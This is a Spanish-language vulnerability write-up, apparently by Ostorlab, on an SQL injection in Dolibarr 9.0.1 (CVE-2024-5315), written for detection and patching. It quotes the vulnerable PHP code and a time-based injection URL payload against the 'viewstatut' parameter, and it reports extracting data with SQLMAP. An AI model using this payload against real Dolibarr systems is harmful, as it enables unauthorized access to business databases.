Investigación de la inyección SQL en Dolibarr (CVE-2024-5315)

El 24 de mayo de 2024, INCIBE coordinó la publicación de una vulnerabilidad de severidad crítica que afecta a Dolibarr, un sistema de gestión empresarial de código abierto (ERP/CRM), concretamente a la versión 9.0.1. Esta vulnerabilidad fue descubierta por Rafael Pedrero.

En Ostorlab abordamos el problema con rapidez añadiendo capacidades de detección a nuestros escáneres. Sin embargo, INCIBE no publicó detalles claros sobre la explotación de la vulnerabilidad ni sobre la versión corregida. Además, las publicaciones de la comunidad indicaban incorrectamente que la versión corregida es la 9.0.2. Por ello, decidimos llevar a cabo nuestra propia investigación.

Localización de la vulnerabilidad

El código vulnerable se encuentra en el archivo htdocs/commande/list.php , donde el parámetro viewstatut se inyecta directamente en la consulta SQL sin ninguna validación.

$viewstatut = GETPOST('viewstatut')

if ($viewstatut < 4 && $viewstatut > -3) { if ($viewstatut == 1 && empty($conf->expedition->enabled)){ 
    $sql .= ' AND c.fk_statut IN (1,2)'; // If module expedition disabled, include orders with status 'sending in process' into 'validated' 
} 
else{ 
    $sql .= ' AND c.fk_statut = ' . $viewstatut; 
}

$resql = $db->query($sql);

Privilegios necesarios:

El publicador de la vulnerabilidad no especificó los privilegios necesarios para explotar esta inyección SQL. Algunos artículos afirman que se trata de una inyección SQL sin autenticación. Sin embargo, al investigar el endpoint vulnerable, se comprobó que requires ../main.inc.php, que verifica si el cliente ya está autenticado.

Prueba de concepto (PoC):

Tras configurar la versión vulnerable de Dolibarr en local, logramos demostrar la existencia de la vulnerabilidad. Primero, examinemos cómo se refleja nuestra entrada en la consulta SQL. Después de solicitar /commande/list.php?viewstatut=testinjection, esta es la consulta final interceptada justo antes de su ejecución :

SELECT s.rowid as socid, s.nom as name, s.email, s.town, s.zip, s.fk_pays,
s.client, s.code_client, typent.code as typent_code, state.code_departement
as state_code, state.nom as state_name, c.rowid, c.ref, c.total_ht,
c.tva astotal_tva, c.total_ttc, c.ref_client, c.date_valid, c.date_commande, 
c.note_private, c.date_livraison as date_delivery, c.fk_statut,
c.facture as billed, c.date_creation as date_creation, c.tms as date_update,
p.rowid as project_id, p.ref as project_ref FROM llx_societe as s 
LEFT JOIN llx_c_country as country on (country.rowid = s.fk_pays) LEFT JOIN
llx_c_typent as typent on (typent.id = s.fk_typent) LEFT JOIN
llx_c_departements as state on (state.rowid = s.fk_departement), llx_commande
as c LEFT JOIN llx_projet as p ON p.rowid = c.fk_projet WHERE c.fk_soc = s.rowid
AND c.entity IN (1) AND c.fk_statut = testinjection ORDER BY c.ref DESC LIMIT 26

Como ya podemos inyectar directamente en la consulta final, verificaremos que la consulta se ejecuta sin problemas.

Detección basada en tiempo:

Durante las pruebas, logramos elaborar un payload que provocó con éxito un retraso en el servidor. La URL solicitada es la siguiente :

http://localhost/commande/list.php?viewstatut=(SELECT%204498%20FROM%20(SELECT(SLEEP(0)))AgKS)

Explotación:

Con SQLMAP logramos extraer datos directamente de la base de datos.

Versión corregida

El publicador original no mencionó la versión corregida. Rastreamos el archivo vulnerable y encontramos la corrección en este commit de la corrección.

Cómo proteger a su organización

El proyecto KEV de código abierto de Ostorlab ha añadido detección para identificar las instancias vulnerables. El proyecto puede encontrarse aquí.